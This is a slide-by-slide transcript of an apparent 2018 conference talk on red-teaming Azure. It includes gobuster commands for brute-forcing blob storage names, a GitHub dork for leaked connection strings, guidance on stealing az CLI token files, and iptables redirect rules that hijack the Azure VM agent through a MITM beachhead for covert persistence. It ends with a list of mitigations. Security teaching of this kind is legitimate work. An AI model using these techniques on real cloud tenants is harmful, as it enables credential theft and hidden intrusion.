Blue Cloud of Death: Red Teaming Azure

BSides Nashville Presentation on April 14 2018

Blue Cloud of Death: Red Teaming Azure

On-demand IT services are being publicized as the “new normal”, but often times these services are misunderstood and hence misconfigured by engineers which can frequently enable red teams to gain, expand, and persist access within Azure environments.

In this talk we will dive into how Azure services are commonly breached (e.g. discovering insecure blob storage), and then show how attackers are pivoting between the data & control planes (e.g. mounting hard disks, swapping keys, etc...) to expand access. Finally we will demonstrate some previously unknown techniques for persisting access within Azure environments for prolonged periods of time.

Bryce Kunz (Chief Hacker & President at Stage 2 Security)
Bryce Kunz (@TweekFawkes) loves researching and red teaming bleeding edge IT services. Bryce is currently the Chief Hacker & President at Stage2Sec.com where he released various open source tools (e.g. soMeta, lolrusLove, yupPhrasing, etc…) and has contributed several modules to open source projects (e.g. empire). Previously, Bryce has supported the NSA (network exploitation & vulnerability research), Adobe (built red teaming program for cloud services), and DHS (incident response). Bryce holds numerous certifications (e.g. OSCP, CISSP, ...), and has spoken at various security conferences (i.e. BlackHat, DerbyCon, BSidesLV, etc...).

Transcript

1. BLUE CLOUD OF DEATH Red Teaming Azure
2. Whois …
3. THE PAST RED & BLUE... Red Team Adobe Digital Experience (DX) Bryce Kunz @TweekFawkes Offense NSA Defense DHS SOC
4. THE PRESENT CYBER SECURITY SERVICES Stage 2 Security BSidesSLC ( Red Teaming AWS & Azure Env. ) ( By & For the People ) Stage2Sec.com BSidesSLC.org Bryce Kunz @TweekFawkes
5. TRAINING AWS & AZURE EXPLOITATION: MAKING THE CLOUD RAIN SHELLS! BlackHat EU (London) SOLD OUT! BlackHat USA (Las Vegas, NV)
6. Azure Overview …
7. CLOUD Azure CIoud My boss assured me, that’s all we needed to know… :P
8. DESIGN Azure CIoud Portal Control Data cloud demystified!
9. ADMINS Azure CIoud Portal Control Data Admin …
10. CONTROL Azure CIoud Portal Control Data Admin … From our vantage point … … mostly just REST APIs …
11. DATA Azure CIoud Portal Control Data Admin … here lies user/customer/account data …
12. SERVICES Azure CIoud Portal VMs Control Storage Data Apps Admin …too many for any human to care about… LBs
13. SERVICES Portal VMs Control Storage Data Apps Admin …too many for any human to care about… LBs Azure CIoud
14. AGENTS Azure CIoud Portal VMs Control Storage Data Apps Admin … LBs Agent
15. DEVS Azure CIoud Portal Control Storage Data Apps Admin … LBs … Dev CI Pipeline VMs
16. USERS Azure CIoud Portal Control Storage Data Apps Admin … LBs … CI Pipeline Users VMs Dev
17. Dooms Day …
18. DEVOP-OCALYPSE Bryce Kunz - @TweekFawkes … $50k!?!?!?
19. DEVOP-OCALYPSE Bryce Kunz - @TweekFawkes …EC2 instances destroyed…
20. Initial Access …
21. OSINT Azure CIoud Portal Control Storage Data Apps Admin … LBs … CI Pipeline Users VMs Dev Internet Collaboration Hacker
22. GITHUB Bryce Kunz - @TweekFawkes Google Dork: site:github.com web.config "StorageConnectionString" "DefaultEndpointsProtocol"
23. PASTEBIN Bryce Kunz - @TweekFawkes Find a Azure Secrets • Collaboration • - PasteBin.com
24. REPOS Azure CIoud Portal Control Storage Data Apps Admin … LBs … CI Pipeline Users VMs Dev Internet Collaboration Hacker Repos
25. BITBUCKET Bryce Kunz - @TweekFawkes Find a Azure Secrets • Open Source Intel • Code Repositories • - BitBucket, GitLab • - Gerrit, GitBlit, Git • - SVN, etc…
26. CI Azure CIoud Portal Control Storage Data Apps Admin … LBs … CI Pipeline Users VMs Dev Internet Collaboration Hacker Repos
27. DEPLOY ACCESS Bryce Kunz - @TweekFawkes Find a Azure Secrets • Open Source Intel • Code Repositories • Deployment Tools • - Puppet, etc… • - Jenkins, etc…
28. Azure CIoud Portal Control Storage Data Apps Admin … LBs … CI Pipeline Users VMs Dev Internet Collaboration Hacker Repos ENDPOINT
29. HACK & D/L ACCESS Bryce Kunz - @TweekFawkes Find a Azure Secrets • Open Source Intel • Code Repositories • Deployment Tools • Configuration Files • - Classic Hacks • -- D/L Secrets
30. Azure CIoud Portal Control Storage Data Apps Admin … LBs … CI Pipeline Users VMs Dev Internet Collaboration Hacker Repos MANY ROADS TO PWNAGE
31. Azure Storage …
32. STORAGE … VMs Storage LBs Users Web Server Apps
33. STORAGE … VMs Storage LBs Users Web Server Apps Hacker
34. STORAGE .
35. AZURE BLOBS Endpoints: https://myaccount.blob.core.windows.net/mycontainer/myblob e.g.: https://bcodstoragetest005.blob.core.windows.net/containertest005/test.txt Storage Account Name: bcodstoragetest005 Container Name: containertest005 Blob Name: test.txt
36. DNS BRUTE FORCE e.g.: https://bcodstoragetest005.blob.core.windows.net/containertest005/test.txt Storage Account Name: bcodstoragetest005 - Only contains lowercase letters and numbers. - Name must be between 3 and 24 characters.
37. GOBUSTER - DNS e.g.: https://bcodstoragetest005.blob.core.windows.net/containertest005/test.txt gobuster -m dns -u "blob.core.windows.net" -i -t 100 -fw -w /root/blobdns/3_chars.txt
38. DNS BRUTE FORCE … … - Only contains lowercase letters and numbers. - Name must be between 3 and 24 characters. Lower Chars & Nums Count Run Time (100 Threads) 3 46,656 ~1 min 4 1,679,616 ~25min 5 60,466,176 ~15 hours 6 … etc … … etc …
39. GOBUSTER - DIR e.g.: https://bcodstoragetest005.blob.core.windows.net/containertest005/test.txt gobuster -m dir -u “https://bcodstoragetest005.blob.core.windows.n et” -i -t 100 -e -s 200,204 -w quickdir.txt
40. AZURE BLOB NAMES e.g.: https://bcodstoragetest005.blob.core.windows.net/containertest005/test.txt Storage Account Name: bcodstoragetest005 Container Name: containertest005 Blob Name: test.txt
41. BRUTE FORCE Possible but kind of sucks to brute force or guess three separate variables/parameters in the URL. e.g.: https://bcodstoragetest005.blob.core.windows.net/containertest005/test.txt Storage Account Name: bcodstoragetest005 Container Name: containertest005 Blob Name: test.txt
42. STORAGE … VMs Storage LBs Users Web Server Apps Hacker
43. NIMBUSLAND Check if an IP address is Azure or AWS
44. LOLRUSLOVE Spider Website for Links to Azure Blobs • CNAME Lookup on FQDNS TODO: INSERT Screen Shot TODO: Demo?
45. Storage Access …
46. Azure CIoud Portal Control Storage Data Apps Admin … LBs … CI Pipeline Users VMs Dev Internet Collaboration Hacker Repos STORAGE
47. FIND CERT *.publishsettings Get-AzurePublishSettingsFile • Management Certificates A "publish settings file" is an XML file with a .publishsettings file name extension. The file contains an encoded certificate that provides management credentials for your Azure subscriptions.
48. FIND SECRET “web.config” - ASP.NET “app.config” - C#.NET • SAS URI • Connection String • Account Name & Key
49. STORAGE EXPLORER “Install Azure Storage Explorer”
50. STORAGE EXPLORER • SAS URI • Connection String • Account Name & Key
51. STORAGE EXPLORER • Download Files! • Modify Files!
52. VHDS *disks* • vhds!
53. VHDS Download vhds • Code Review • Secrets on Disk • Linux - grep for “shadow” hashes
54. VHDS Download vhds • Code Review • Secrets on Disk • Linux - grep for “shadow” hashes
55. MANAGED DISKS 2017 Azure Feature • By Default… • No VHDs in blob storage containers!
56. CLI Endpoint Access …
57. Azure CIoud Portal Control Storage Data Apps Admin … LBs … CI Pipeline Users VMs Dev Internet Collaboration Hacker Repos ENDPOINT
58. SETUP CLI “Install Azure CLI 2.0 on Windows”
59. CLI AUTH. “az login” (After logging in, your login token is valid until it goes for 14 days without being used.)
60. BROWSER COOKIE “az login” (After logging in, your login token is valid until it goes for 14 days without being used.)
61. STEAL COOKIE! “az login” (After logging in, your login token is valid until it goes for 14 days without being used.)
62. CLI AUTH. “az login” (After logging in, your login token is valid until it goes for 14 days without being used.)
63. AUTH. TOKEN “.azure” folder “azureProfile.json”
64. STEAL TOKEN“.azure” folder “accessTokens.json”
65. WHOAMI “az account show”
66. Expand Access …
67. Azure CIoud Portal Control Storage Data Apps Admin … LBs … CI Pipeline Users VMs Dev Hacker DATA -> CONTROL
68. AZURE META Metadata Service: 169.254.169.254 curl http://169.254.169.254/metadata/v1/maintenance curl http://169.254.169.254/metadata/v1/InstanceInfo (these are mostly useless for hackers…) but useful information is copied into the … /var/lib/waagent directory when the instance is created… (root access needed) • IP address, hostname, subscription ID, resource group name, etc… …
69. Azure CIoud Portal Control Storage Data Apps Admin … LBs … CI Pipeline Users VMs Dev Hacker CONTROL -> DATA
70. CAPTURE IMAGE …
71. HARD BOOT Google: “Reset local Windows password for Azure VM offline” … Horrible OPSEC but it works… - Power off a server - Mount the server’s hard drive using another VM - Modify the server for remote access (e.g. add an SSH key to root user) - Power back on the server & PROFIT!
72. RESET … Windows • RDP Password Reset Linux • SSH Key Reset • Create User
73. SCRIPTS … Linux • VM Extension - CustomScript
74. Persistence …
75. Azure CIoud Portal Control Storage Data Apps Admin … LBs … CI Pipeline Users VMs Dev Internet Collaboration Hacker Repos STORAGE
76. STORAGE EXPLORER Create SAS! • Another way to access the resource
77. Azure CIoud Portal Control Storage Data Apps Admin … LBs … CI Pipeline Users VMs Dev Internet Collaboration Hacker Repos CONTROL
78. SERVICE PRINCIPALS (the recommended approach) Permissions-Restricted Accounts “az login --service-principal” … …not tied to any particular user… …have permissions on them assigned through pre-defined roles. Multiple Passwords!
79. AGENTS Azure CIoud Portal VMs Control Storage Data Apps Admin … LBs Agent
80. DOCUMENTATION? Where we're going, we don't need docs!
81. START DIGGING • ps auxfww • file • python source code review Listening Services • netstat -nltpu Active Connections • netstat -natpu
82. • b: set a breakpoint • c: continue debugging until you hit a breakpoint • s: step through the code • n: to go to next line of code • l: list source code for the current file (default: 11 lines including the line being executed) • u: navigate up a stack frame • d: navigate down a stack frame • p: to print the value of an expression in the current context PYTHON DEBUGGER • pdb
83. SYSDIG sysdig -w 005.scap systemctl start walinuxagent.service /usr/bin/python3 -u /usr/sbin/waagent –daemon sysdig -r 005.scap … • -c topfiles_bytes • -c topprocs_net • -c echo_fds • -c fdbytes_by fd.directory "fd.type=file“ • -c fdbytes_by fd.filename "fd.directory=/var/lib/waagent“ …
84. TCPDUMP ip.addr == 168.63.129.16
85. AGENTS Azure CIoud Portal VMs Control http://168.63.129.16 Storage Data Apps Admin … LBs Agent
86. TASKS Periodically pulls HTTP API for taskings • http://168.63.129.16 • (local azure fabric address) <Incarnation>2</Incarnation> • Signals agent for additional tasks Control http://168.63.129.16 GET /machine/?comp=goalstate --- <Incarnation>2</Incarnation>… Agent
87. HOST CONFIGS Pulls hostingEnvironmentConfig Control http://168.63.129.16 GET /machine/ … type= hostingEnvironmentConfig --- rd_fabric_stable_dhf5.150807- 2320.RuntimePackage_1.0.0.14. zip Agent
88. CERTS Pulls certificates Control http://168.63.129.16 GET /machine/ … comp=certificates --- pfx Agent
89. EXTENSION CONFIGS Pulls Extension Configuration • In this case, the command to run Control http://168.63.129.16 GET /machine/ … type=extensionsConfig --- Command to Run Agent
90. the Journey! …
91. VMs Portal Control Storage Data Admin … … CI Pipeline Users VMs Dev Internet Hacker Repos CREDS IN REPO
92. VMs Portal Control Storage Data Admin … … CI Pipeline Users VMs Dev Internet Hacker Repos VHDS -> CERTS
93. VMs Portal Control Storage Data Admin … … CI Pipeline Users VMs Dev Internet Hacker Repos SUBSCRIPTION
94. VMs Control Storage Data Users VMs Hacker CUSTOM SCRIPT
95. PERSIST? Without getting caught? Bypass • File Integrity Monitoring • So we can’t modify files • osquery - process list • So we can’t be seen in ps • osquery - netstat • So we can’t be seen in netstat … ?
96. VMs Storage Users Hacker AGENT Control http://168.63.129.16 Agent VMs 10.0.4.4 Already Running Pulling for Updates…
97. VMs Storage Users Hacker BEACHHEAD Control http://168.63.129.16 Malware Agent Beachhead 10.0.4.5 VMs 10.0.4.4 Ideally… • Not of high value • Not monitored closely Install our Malware • To ensure access
98. VMs Storage Users VMs 10.0.4.4 Hacker REDIRECT Control http://168.63.129.16 Beachhead 10.0.4.5 Malware Agent Redirect Agent • via iptables iptables -t nat -I OUTPUT -p tcp --dport 80 -d 168.63.129.16 -m comment --comment "totes not evil" -j DNAT -- to-destination 10.0.4.5:80 Netstat Looks Normal! No New Procs!
99. VMs Storage Users VMs 10.0.4.4 Hacker MITM Control http://168.63.129.16 Beachhead 10.0.4.5 Malware Agent Pass API Requests • via mitmproxy iptables -t nat -I OUTPUT -p tcp --dport 80 -d 10.0.4.5 -m comment -- comment "totes not evil" -j DNAT --to-destination 168.63.129.16:80 MITM
100. VMs Storage Users Hacker EXEC Control http://168.63.129.16 Beachhead 10.0.4.5 Malware Tasks Created within the Azure Subscription for the Beachhead with the MITM software on it, which will get redirected and executed on the remote target through the pulling process of the Azure endpoint agent MITM Agent VMs 10.0.4.4
101. MITIGATIONS • Single Purpose Secrets • Limited the Access of each Secret • Create roles and limit the access of each role • You can ACL off secrets to only work from certain IP addresses • Log API calls (e.g. cloudtrail) • Never use root secrets (use as a break glass account only) • Rotate Secrets Frequently • Encrypt secrets within GIT and other data stores …
102. THANKS! Stage 2 Security BSidesSLC ( Red Teaming AWS & Azure Env. ) ( By & For the People ) Stage2Sec.com BSidesSLC.org Bryce Kunz @TweekFawkes AWS & Azure Exploitation Training @ BlackHat EU (London)